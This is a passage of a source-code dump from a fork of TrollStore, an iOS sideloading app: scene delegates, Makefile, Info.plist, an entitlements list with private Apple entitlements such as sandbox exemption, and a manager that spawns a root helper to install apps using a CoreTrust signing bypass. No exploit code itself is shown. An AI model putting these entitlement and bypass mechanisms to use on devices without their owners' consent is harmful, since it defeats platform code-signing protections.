the scene is being released by the system. 20 | // This occurs shortly after the scene enters the background, or when its session is discarded. 21 | // Release any resources associated with this scene that can be re-created the next time the scene connects. 22 | // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). 23 | } 24 | 25 | 26 | - (void)sceneDidBecomeActive:(UIScene *)scene { 27 | // Called when the scene has moved from an inactive state to an active state. 28 | // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. 29 | } 30 | 31 | 32 | - (void)sceneWillResignActive:(UIScene *)scene { 33 | // Called when the scene will move from an active state to an inactive state. 34 | // This may occur due to temporary interruptions (ex. an incoming phone call). 35 | } 36 | 37 | 38 | - (void)sceneWillEnterForeground:(UIScene *)scene { 39 | // Called as the scene transitions from the background to the foreground. 40 | // Use this method to undo the changes made on entering the background. 41 | } 42 | 43 | 44 | - (void)sceneDidEnterBackground:(UIScene *)scene { 45 | // Called as the scene transitions from the foreground to the background. 46 | // Use this method to save data, release shared resources, and store enough scene-specific state information 47 | // to restore the scene back to its current state. 48 | } 49 | 50 | - (void)scene:(UIScene *)scene openURLContexts:(NSSet *)URLContexts 51 | { 52 | } 53 | 54 | @end 55 | -------------------------------------------------------------------------------- /TrollHelper/control: -------------------------------------------------------------------------------- 1 | Package: com.opa334.trollstorehelper 2 | Name: TrollStore Helper 3 | Version: 2.0.11 4 | Architecture: iphoneos-arm 5 | Description: Helper utility to install and manage TrollStore! 6 | Maintainer: opa334 7 | Author: opa334 8 | Section: Applications 9 | -------------------------------------------------------------------------------- /TrollHelper/entitlements.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | application-identifier 6 | com.opa334.trollstorepersistencehelper 7 | com.apple.CommCenter.fine-grained 8 | 9 | data-allowed-write 10 | 11 | com.apple.private.persona-mgmt 12 | 13 | 14 | 15 | platform-application 16 | 17 | com.apple.private.security.no-sandbox 18 | 19 | com.apple.private.security.container-manager 20 | 21 | com.apple.private.MobileContainerManager.allowed 22 | 23 | com.apple.private.coreservices.canmaplsdatabase 24 | 25 | com.apple.lsapplicationworkspace.rebuildappdatabases 26 | 27 | com.apple.private.security.storage.AppBundles 28 | 29 | com.apple.private.security.storage.MobileDocuments 30 | 31 | com.apple.private.security.storage-exempt.heritable 32 | 33 | com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled 34 | 35 | com.apple.private.MobileInstallationHelperService.allowed 36 | 37 | com.apple.private.uninstall.deletion 38 | 39 | com.apple.springboard.launchapplications 40 | 41 | com.apple.backboardd.launchapplications 42 | 43 | com.apple.frontboard.launchapplications 44 | 45 | com.apple.multitasking.termination 46 | 47 | com.apple.private.mobileinstall.allowedSPI 48 | 49 | InstallForLaunchServices 50 | Install 51 | UninstallForLaunchServices 52 | Uninstall 53 | UpdatePlaceholderMetadata 54 | 55 | 56 | -------------------------------------------------------------------------------- /TrollHelper/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | #import "TSHAppDelegateNoScene.h" 3 | #import "TSHAppDelegateWithScene.h" 4 | #import "TSHSceneDelegate.h" 5 | #import 6 | #import 7 | 8 | BOOL sceneDelegateFix(void) 9 | { 10 | NSString* sceneDelegateClassName = nil; 11 | 12 | NSDictionary* UIApplicationSceneManifest = [NSBundle.mainBundle objectForInfoDictionaryKey:@"UIApplicationSceneManifest"]; 13 | if(UIApplicationSceneManifest && [UIApplicationSceneManifest isKindOfClass:NSDictionary.class]) 14 | { 15 | NSDictionary* UISceneConfiguration = UIApplicationSceneManifest[@"UISceneConfigurations"]; 16 | if(UISceneConfiguration && [UISceneConfiguration isKindOfClass:NSDictionary.class]) 17 | { 18 | NSArray* UIWindowSceneSessionRoleApplication = UISceneConfiguration[@"UIWindowSceneSessionRoleApplication"]; 19 | if(UIWindowSceneSessionRoleApplication && [UIWindowSceneSessionRoleApplication isKindOfClass:NSArray.class]) 20 | { 21 | NSDictionary* sceneToUse = nil; 22 | if(UIWindowSceneSessionRoleApplication.count > 1) 23 | { 24 | for(NSDictionary* scene in UIWindowSceneSessionRoleApplication) 25 | { 26 | if([scene isKindOfClass:NSDictionary.class]) 27 | { 28 | NSString* UISceneConfigurationName = scene[@"UISceneConfigurationName"]; 29 | if([UISceneConfigurationName isKindOfClass:NSString.class]) 30 | { 31 | if([UISceneConfigurationName isEqualToString:@"Default Configuration"]) 32 | { 33 | sceneToUse = scene; 34 | break; 35 | } 36 | } 37 | } 38 | } 39 | 40 | if(!sceneToUse) 41 | { 42 | sceneToUse = UIWindowSceneSessionRoleApplication.firstObject; 43 | } 44 | } 45 | else 46 | { 47 | sceneToUse = UIWindowSceneSessionRoleApplication.firstObject; 48 | } 49 | 50 | if(sceneToUse && [sceneToUse isKindOfClass:NSDictionary.class]) 51 | { 52 | sceneDelegateClassName = sceneToUse[@"UISceneDelegateClassName"]; 53 | } 54 | } 55 | } 56 | } 57 | 58 | if(sceneDelegateClassName && [sceneDelegateClassName isKindOfClass:NSString.class]) 59 | { 60 | Class newClass = objc_allocateClassPair([TSHSceneDelegate class], sceneDelegateClassName.UTF8String, 0); 61 | objc_registerClassPair(newClass); 62 | return YES; 63 | } 64 | 65 | return NO; 66 | } 67 | 68 | int main(int argc, char *argv[], char *envp[]) { 69 | @autoreleasepool { 70 | #ifdef EMBEDDED_ROOT_HELPER 71 | extern int rootHelperMain(int argc, char *argv[], char *envp[]); 72 | if(getuid() == 0) 73 | { 74 | // I got this idea while taking a dump 75 | // Don't judge 76 | return rootHelperMain(argc, argv, envp); 77 | } 78 | #endif 79 | 80 | chineseWifiFixup(); 81 | if(sceneDelegateFix()) 82 | { 83 | return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSHAppDelegateWithScene.class)); 84 | } 85 | else 86 | { 87 | return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSHAppDelegateNoScene.class)); 88 | } 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /TrollStore/Makefile: -------------------------------------------------------------------------------- 1 | TARGET := iphone:clang:16.5:14.0 2 | INSTALL_TARGET_PROCESSES = TrollStore 3 | ARCHS = arm64 4 | 5 | TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign 6 | 7 | include $(THEOS)/makefiles/common.mk 8 | 9 | APPLICATION_NAME = TrollStore 10 | 11 | TrollStore_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) 12 | TrollStore_FRAMEWORKS = UIKit CoreGraphics CoreServices CoreTelephony 13 | TrollStore_PRIVATE_FRAMEWORKS = Preferences MobileIcons MobileContainerManager 14 | TrollStore_LIBRARIES = archive 15 | TrollStore_CFLAGS = -fobjc-arc -I../Shared 16 | TrollStore_CODESIGN_FLAGS = --entitlements entitlements.plist 17 | 18 | include $(THEOS_MAKE_PATH)/application.mk 19 | -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon29x29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon29x29.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon29x29@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon29x29@2x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon29x29@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon29x29@3x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon40x40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon40x40.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon40x40@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon40x40@2x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon40x40@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon40x40@3x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon50x50.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon50x50.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon50x50@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon50x50@2x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon57x57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon57x57.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon57x57@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon57x57@2x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon57x57@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon57x57@3x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon60x60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon60x60.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon60x60@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon60x60@2x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon60x60@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon60x60@3x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon72x72.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon72x72.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon72x72@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon72x72@2x.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon76x76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon76x76.png -------------------------------------------------------------------------------- /TrollStore/Resources/AppIcon76x76@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/AppIcon76x76@2x.png -------------------------------------------------------------------------------- /TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/Info.plist: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/Info.plist -------------------------------------------------------------------------------- /TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/Kx4-55-vNS-view-9BB-B5-Vbi.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/Kx4-55-vNS-view-9BB-B5-Vbi.nib -------------------------------------------------------------------------------- /TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/UITabBarController-9el-pn-lH0.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/UITabBarController-9el-pn-lH0.nib -------------------------------------------------------------------------------- /TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/X3T-Aa-nEE-view-vAu-RC-m7d.nib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollStore/Resources/Base.lproj/LaunchScreen.storyboardc/X3T-Aa-nEE-view-vAu-RC-m7d.nib -------------------------------------------------------------------------------- /TrollStore/Resources/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleExecutable 6 | TrollStore 7 | CFBundleIcons 8 | 9 | CFBundlePrimaryIcon 10 | 11 | CFBundleIconFiles 12 | 13 | AppIcon29x29 14 | AppIcon40x40 15 | AppIcon57x57 16 | AppIcon60x60 17 | 18 | UIPrerenderedIcon 19 | 20 | 21 | 22 | CFBundleIcons~ipad 23 | 24 | CFBundlePrimaryIcon 25 | 26 | CFBundleIconFiles 27 | 28 | AppIcon29x29 29 | AppIcon40x40 30 | AppIcon57x57 31 | AppIcon60x60 32 | AppIcon50x50 33 | AppIcon72x72 34 | AppIcon76x76 35 | 36 | UIPrerenderedIcon 37 | 38 | 39 | 40 | CFBundleIdentifier 41 | com.opa334.TrollStore 42 | CFBundleInfoDictionaryVersion 43 | 6.0 44 | CFBundlePackageType 45 | APPL 46 | CFBundleSignature 47 | ???? 48 | CFBundleSupportedPlatforms 49 | 50 | iPhoneOS 51 | 52 | CFBundleVersion 53 | 2.0.11 54 | LSRequiresIPhoneOS 55 | 56 | UIDeviceFamily 57 | 58 | 1 59 | 2 60 | 61 | UIRequiredDeviceCapabilities 62 | 63 | armv7 64 | 65 | UILaunchStoryboardName 66 | LaunchScreen 67 | UISupportedInterfaceOrientations 68 | 69 | UIInterfaceOrientationPortrait 70 | UIInterfaceOrientationLandscapeLeft 71 | UIInterfaceOrientationLandscapeRight 72 | 73 | UISupportedInterfaceOrientations~ipad 74 | 75 | UIInterfaceOrientationPortrait 76 | UIInterfaceOrientationPortraitUpsideDown 77 | UIInterfaceOrientationLandscapeLeft 78 | UIInterfaceOrientationLandscapeRight 79 | 80 | UIApplicationSceneManifest 81 | 82 | UIApplicationSupportsMultipleScenes 83 | 84 | UISceneConfigurations 85 | 86 | UIWindowSceneSessionRoleApplication 87 | 88 | 89 | UISceneConfigurationName 90 | Default Configuration 91 | UISceneDelegateClassName 92 | TSSceneDelegate 93 | 94 | 95 | 96 | 97 | UTImportedTypeDeclarations 98 | 99 | 100 | UTTypeConformsTo 101 | 102 | public.data 103 | 104 | UTTypeDescription 105 | iOS App 106 | UTTypeIconFiles 107 | 108 | UTTypeIdentifier 109 | com.apple.itunes.ipa 110 | UTTypeTagSpecification 111 | 112 | public.filename-extension 113 | 114 | ipa 115 | 116 | public.mime-type 117 | 118 | 119 | 120 | 121 | CFBundleDocumentTypes 122 | 123 | 124 | CFBundleTypeName 125 | iOS App 126 | LSHandlerRank 127 | Default 128 | LSItemContentTypes 129 | 130 | com.apple.itunes.ipa 131 | 132 | 133 | 134 | CFBundleTypeName 135 | TrollStore Update 136 | LSHandlerRank 137 | Default 138 | LSItemContentTypes 139 | 140 | public.tar-archive 141 | 142 | 143 | 144 | CFBundleTypeName 145 | AirDrop friendly iOS app 146 | CFBundleTypeRole 147 | Viewer 148 | LSHandlerRank 149 | Owner 150 | LSItemContentTypes 151 | 152 | com.opa334.trollstore.tipa 153 | 154 | 155 | 156 | UTExportedTypeDeclarations 157 | 158 | 159 | UTTypeIdentifier 160 | com.opa334.trollstore.tipa 161 | UTTypeDescription 162 | AirDrop friendly iOS app 163 | UTTypeConformsTo 164 | 165 | public.data 166 | 167 | UTTypeTagSpecification 168 | 169 | public.filename-extension 170 | 171 | tipa 172 | 173 | public.mime-type 174 | application/trollstore-ipa 175 | 176 | 177 | 178 | CFBundleURLTypes 179 | 180 | 181 | CFBundleURLName 182 | com.apple.Magnifier 183 | CFBundleURLSchemes 184 | 185 | apple-magnifier 186 | 187 | 188 | 189 | LSSupportsOpeningDocumentsInPlace 190 | 191 | TSRootBinaries 192 | 193 | trollstorehelper 194 | ldid 195 | 196 | 197 | 198 | -------------------------------------------------------------------------------- /TrollStore/TSAppDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSAppDelegate : UIResponder 4 | 5 | @end 6 | -------------------------------------------------------------------------------- /TrollStore/TSAppDelegate.m: -------------------------------------------------------------------------------- 1 | #import "TSAppDelegate.h" 2 | #import "TSRootViewController.h" 3 | 4 | @implementation TSAppDelegate 5 | 6 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 7 | return YES; 8 | } 9 | 10 | - (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { 11 | // Called when a new scene session is being created. 12 | // Use this method to select a configuration to create the new scene with. 13 | return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role]; 14 | } 15 | 16 | 17 | - (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet *)sceneSessions { 18 | // Called when the user discards a scene session. 19 | // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. 20 | // Use this method to release any resources that were specific to the discarded scenes, as they will not return. 21 | } 22 | 23 | @end 24 | -------------------------------------------------------------------------------- /TrollStore/TSAppInfo.h: -------------------------------------------------------------------------------- 1 | // 2 | // TSIPAInfo.h 3 | // IPAInfo 4 | // 5 | // Created by Lars Fröder on 22.10.22. 6 | // 7 | 8 | #import 9 | #import 10 | #import 11 | @import UIKit; 12 | 13 | @interface TSAppInfo : NSObject 14 | { 15 | NSString* _path; 16 | BOOL _isArchive; 17 | struct archive* _archive; 18 | 19 | NSString* _cachedAppBundleName; 20 | NSString* _cachedRegistrationState; 21 | NSDictionary* _cachedInfoDictionary; 22 | NSDictionary* _cachedInfoDictionariesByPluginSubpaths; 23 | NSDictionary* _cachedEntitlementsByBinarySubpaths; 24 | UIImage* _cachedPreviewIcon; 25 | int64_t _cachedSize; 26 | } 27 | 28 | - (instancetype)initWithIPAPath:(NSString*)ipaPath; 29 | - (instancetype)initWithAppBundlePath:(NSString*)bundlePath; 30 | - (NSError*)determineAppBundleName; 31 | - (NSError*)loadInfoDictionary; 32 | - (NSError*)loadEntitlements; 33 | - (NSError*)loadPreviewIcon; 34 | 35 | - (NSError*)sync_loadBasicInfo; 36 | - (NSError*)sync_loadInfo; 37 | 38 | - (void)loadBasicInfoWithCompletion:(void (^)(NSError*))completionHandler; 39 | - (void)loadInfoWithCompletion:(void (^)(NSError*))completionHandler; 40 | 41 | - (NSString*)displayName; 42 | - (NSString*)bundleIdentifier; 43 | - (NSString*)versionString; 44 | - (NSString*)sizeString; 45 | - (NSString*)bundlePath; 46 | - (NSString*)registrationState; 47 | 48 | - (UIImage*)iconForSize:(CGSize)size; 49 | 50 | - (NSAttributedString*)detailedInfoTitle; 51 | - (NSAttributedString*)detailedInfoDescription; 52 | //- (UIImage*)image; 53 | - (BOOL)isDebuggable; 54 | - (void)log; 55 | 56 | @end 57 | -------------------------------------------------------------------------------- /TrollStore/TSAppTableViewController.h: -------------------------------------------------------------------------------- 1 | #import 2 | #import "TSAppInfo.h" 3 | #import 4 | 5 | @interface TSAppTableViewController : UITableViewController 6 | { 7 | UIImage* _placeholderIcon; 8 | NSArray* _cachedAppInfos; 9 | NSMutableDictionary* _cachedIcons; 10 | UISearchController* _searchController; 11 | NSString* _searchKey; 12 | } 13 | 14 | @end -------------------------------------------------------------------------------- /TrollStore/TSApplicationsManager.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #define TROLLSTORE_ROOT_PATH @"/var/containers/Bundle/TrollStore" 4 | #define TROLLSTORE_MAIN_PATH [TROLLSTORE_ROOT_PATH stringByAppendingPathComponent:@"Main"] 5 | #define TROLLSTORE_APPLICATIONS_PATH [TROLLSTORE_ROOT_PATH stringByAppendingPathComponent:@"Applications"] 6 | 7 | @interface TSApplicationsManager : NSObject 8 | 9 | + (instancetype)sharedInstance; 10 | 11 | - (NSArray*)installedAppPaths; 12 | 13 | - (NSError*)errorForCode:(int)code; 14 | - (int)installIpa:(NSString*)pathToIpa force:(BOOL)force log:(NSString**)logOut; 15 | - (int)installIpa:(NSString*)pathToIpa; 16 | - (int)uninstallApp:(NSString*)appId; 17 | - (int)uninstallAppByPath:(NSString*)path; 18 | - (BOOL)openApplicationWithBundleID:(NSString *)appID; 19 | - (int)enableJITForBundleID:(NSString *)appID; 20 | - (int)changeAppRegistration:(NSString*)appPath toState:(NSString*)newState; 21 | 22 | @end -------------------------------------------------------------------------------- /TrollStore/TSApplicationsManager.m: -------------------------------------------------------------------------------- 1 | #import "TSApplicationsManager.h" 2 | #import 3 | extern NSUserDefaults* trollStoreUserDefaults(); 4 | 5 | @implementation TSApplicationsManager 6 | 7 | + (instancetype)sharedInstance 8 | { 9 | static TSApplicationsManager *sharedInstance = nil; 10 | static dispatch_once_t onceToken; 11 | dispatch_once(&onceToken, ^{ 12 | sharedInstance = [[TSApplicationsManager alloc] init]; 13 | }); 14 | return sharedInstance; 15 | } 16 | 17 | - (NSArray*)installedAppPaths 18 | { 19 | return trollStoreInstalledAppBundlePaths(); 20 | } 21 | 22 | - (NSError*)errorForCode:(int)code 23 | { 24 | NSString* errorDescription = @"Unknown Error"; 25 | switch(code) 26 | { 27 | // IPA install errors 28 | case 166: 29 | errorDescription = @"The IPA file does not exist or is not accessible."; 30 | break; 31 | case 167: 32 | errorDescription = @"The IPA file does not appear to contain an app."; 33 | break; 34 | case 168: 35 | errorDescription = @"Failed to extract IPA file."; 36 | break; 37 | case 169: 38 | errorDescription = @"Failed to extract update tar file."; 39 | break; 40 | // App install errors 41 | case 170: 42 | errorDescription = @"Failed to create container for app bundle."; 43 | break; 44 | case 171: 45 | errorDescription = @"A non-TrollStore app with the same identifier is already installed. If you are absolutely sure it is not, you can force install it."; 46 | break; 47 | case 172: 48 | errorDescription = @"The app does not contain an Info.plist file."; 49 | break; 50 | case 173: 51 | errorDescription = @"The app is not signed with a fake CoreTrust certificate and ldid is not installed. Install ldid in the settings tab and try again."; 52 | break; 53 | case 174: 54 | errorDescription = @"The app's main executable does not exist."; 55 | break; 56 | case 175: { 57 | //if (@available(iOS 16, *)) { 58 | // errorDescription = @"Failed to sign the app."; 59 | //} 60 | //else { 61 | errorDescription = @"Failed to sign the app. ldid returned a non zero status code."; 62 | //} 63 | } 64 | break; 65 | case 176: 66 | errorDescription = @"The app's Info.plist is missing required values."; 67 | break; 68 | case 177: 69 | errorDescription = @"Failed to mark app as TrollStore app."; 70 | break; 71 | case 178: 72 | errorDescription = @"Failed to copy app bundle."; 73 | break; 74 | case 179: 75 | errorDescription = @"The app you tried to install has the same identifier as a system app already installed on the device. The installation has been prevented to protect you from possible bootloops or other issues."; 76 | break; 77 | case 180: 78 | errorDescription = @"The app you tried to install has an encrypted main binary, which cannot have the CoreTrust bypass applied to it. Please ensure you install decrypted apps."; 79 | break; 80 | case 181: 81 | errorDescription = @"Failed to add app to icon cache."; 82 | break; 83 | case 182: 84 | errorDescription = @"The app was installed successfully, but requires developer mode to be enabled to run. After rebooting, select \"Turn On\" to enable developer mode."; 85 | break; 86 | case 183: 87 | errorDescription = @"Failed to enable developer mode."; 88 | break; 89 | case 184: 90 | errorDescription = @"The app was installed successfully, but has additional binaries that are encrypted (e.g. extensions, plugins). The app itself should work, but you may experience broken functionality as a result."; 91 | } 92 | 93 | NSError* error = [NSError errorWithDomain:TrollStoreErrorDomain code:code userInfo:@{NSLocalizedDescriptionKey : errorDescription}]; 94 | return error; 95 | } 96 | 97 | - (int)installIpa:(NSString*)pathToIpa force:(BOOL)force log:(NSString**)logOut 98 | { 99 | NSMutableArray* args = [NSMutableArray new]; 100 | [args addObject:@"install"]; 101 | if(force) 102 | { 103 | [args addObject:@"force"]; 104 | } 105 | NSNumber* installationMethodToUseNum = [trollStoreUserDefaults() objectForKey:@"installationMethod"]; 106 | int installationMethodToUse = installationMethodToUseNum ? installationMethodToUseNum.intValue : 1; 107 | if(installationMethodToUse == 1) 108 | { 109 | [args addObject:@"custom"]; 110 | } 111 | else 112 | { 113 | [args addObject:@"installd"]; 114 | } 115 | [args addObject:pathToIpa]; 116 | 117 | int ret = spawnRoot(rootHelperPath(), args, nil, logOut); 118 | [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; 119 | return ret; 120 | } 121 | 122 | - (int)installIpa:(NSString*)pathToIpa 123 | { 124 | return [self installIpa:pathToIpa force:NO log:nil]; 125 | } 126 | 127 | - (int)uninstallApp:(NSString*)appId 128 | { 129 | if(!appId) return -200; 130 | 131 | NSMutableArray* args = [NSMutableArray new]; 132 | [args addObject:@"uninstall"]; 133 | 134 | NSNumber* uninstallationMethodToUseNum = [trollStoreUserDefaults() objectForKey:@"uninstallationMethod"]; 135 | int uninstallationMethodToUse = uninstallationMethodToUseNum ? uninstallationMethodToUseNum.intValue : 0; 136 | if(uninstallationMethodToUse == 1) 137 | { 138 | [args addObject:@"custom"]; 139 | } 140 | else 141 | { 142 | [args addObject:@"installd"]; 143 | } 144 | 145 | [args addObject:appId]; 146 | 147 | int ret = spawnRoot(rootHelperPath(), args, nil, nil); 148 | [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; 149 | return ret; 150 | } 151 | 152 | - (int)uninstallAppByPath:(NSString*)path 153 | { 154 | if(!path) return -200; 155 | 156 | NSMutableArray* args = [NSMutableArray new]; 157 | [args addObject:@"uninstall-path"]; 158 | 159 | NSNumber* uninstallationMethodToUseNum = [trollStoreUserDefaults() objectForKey:@"uninstallationMethod"]; 160 | int uninstallationMethodToUse = uninstallationMethodToUseNum ? uninstallationMethodToUseNum.intValue : 0; 161 | if(uninstallationMethodToUse == 1) 162 | { 163 | [args addObject:@"custom"]; 164 | } 165 | else 166 | { 167 | [args addObject:@"installd"]; 168 | } 169 | 170 | [args addObject:path]; 171 | 172 | int ret = spawnRoot(rootHelperPath(), args, nil, nil); 173 | [[NSNotificationCenter defaultCenter] postNotificationName:@"ApplicationsChanged" object:nil]; 174 | return ret; 175 | } 176 | 177 | - (BOOL)openApplicationWithBundleID:(NSString *)appId 178 | { 179 | return [[LSApplicationWorkspace defaultWorkspace] openApplicationWithBundleID:appId]; 180 | } 181 | 182 | - (int)enableJITForBundleID:(NSString *)appId 183 | { 184 | return spawnRoot(rootHelperPath(), @[@"enable-jit", appId], nil, nil); 185 | } 186 | 187 | - (int)changeAppRegistration:(NSString*)appPath toState:(NSString*)newState 188 | { 189 | if(!appPath || !newState) return -200; 190 | return spawnRoot(rootHelperPath(), @[@"modify-registration", appPath, newState], nil, nil); 191 | } 192 | 193 | @end -------------------------------------------------------------------------------- /TrollStore/TSCommonTCCServiceNames.h: -------------------------------------------------------------------------------- 1 | // 2 | // TSCommonTCCServiceNames.h 3 | // IPAInfo 4 | // 5 | // Created by Luke Noble on 30.10.22. 6 | // 7 | 8 | #import 9 | 10 | static NSDictionary* const commonTCCServices = @{ 11 | @"kTCCServicePhotos": @"Photo Library", 12 | @"kTCCServicePhotosAdd": @"Photo Library (Add)", 13 | @"kTCCServiceCamera": @"Camera", 14 | @"kTCCServiceMicrophone": @"Microphone", 15 | @"kTCCServiceAddressBook": @"Contacts", 16 | @"kTCCServiceCalendar": @"Calendars", 17 | @"kTCCServiceReminders": @"Reminders", 18 | @"kTCCServiceWillow": @"HomeKit", 19 | @"kTCCServiceGameCenterFriends": @"Game Center Friends", 20 | @"kTCCServiceExposureNotification": @"Exposure Notifications", 21 | @"kTCCServiceFocusStatus": @"Focus Status", 22 | @"kTCCServiceUserTracking": @"User Tracking", 23 | @"kTCCServiceFaceID": @"Face ID", 24 | @"kTCCServiceMediaLibrary": @"Apple Media Library", 25 | @"kTCCServiceMotion": @"Motion Sensors", 26 | @"kTCCServiceNearbyInteraction": @"Nearby Device Interaction", 27 | @"kTCCServiceBluetoothAlways": @"Bluetooth (Always)", 28 | @"kTCCServiceBluetoothWhileInUse": @"Bluetooth (While In Use)", 29 | @"kTCCServiceBluetoothPeripheral": @"Bluetooth (Peripherals)", 30 | @"kTCCServiceLocation": @"Location" 31 | }; 32 | -------------------------------------------------------------------------------- /TrollStore/TSDonateListController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSDonateListController : PSListController 4 | 5 | @end -------------------------------------------------------------------------------- /TrollStore/TSDonateListController.m: -------------------------------------------------------------------------------- 1 | #import "TSDonateListController.h" 2 | #import 3 | 4 | @implementation TSDonateListController 5 | 6 | 7 | - (void)donateToAlfiePressed 8 | { 9 | [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://ko-fi.com/alfiecg_dev"] options:@{} completionHandler:^(BOOL success){}]; 10 | } 11 | 12 | - (void)donateToOpaPressed 13 | { 14 | [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=opa334@protonmail.com&item_name=TrollStore"] options:@{} completionHandler:^(BOOL success){}]; 15 | } 16 | 17 | - (NSMutableArray*)specifiers 18 | { 19 | if(!_specifiers) 20 | { 21 | _specifiers = [NSMutableArray new]; 22 | 23 | PSSpecifier* 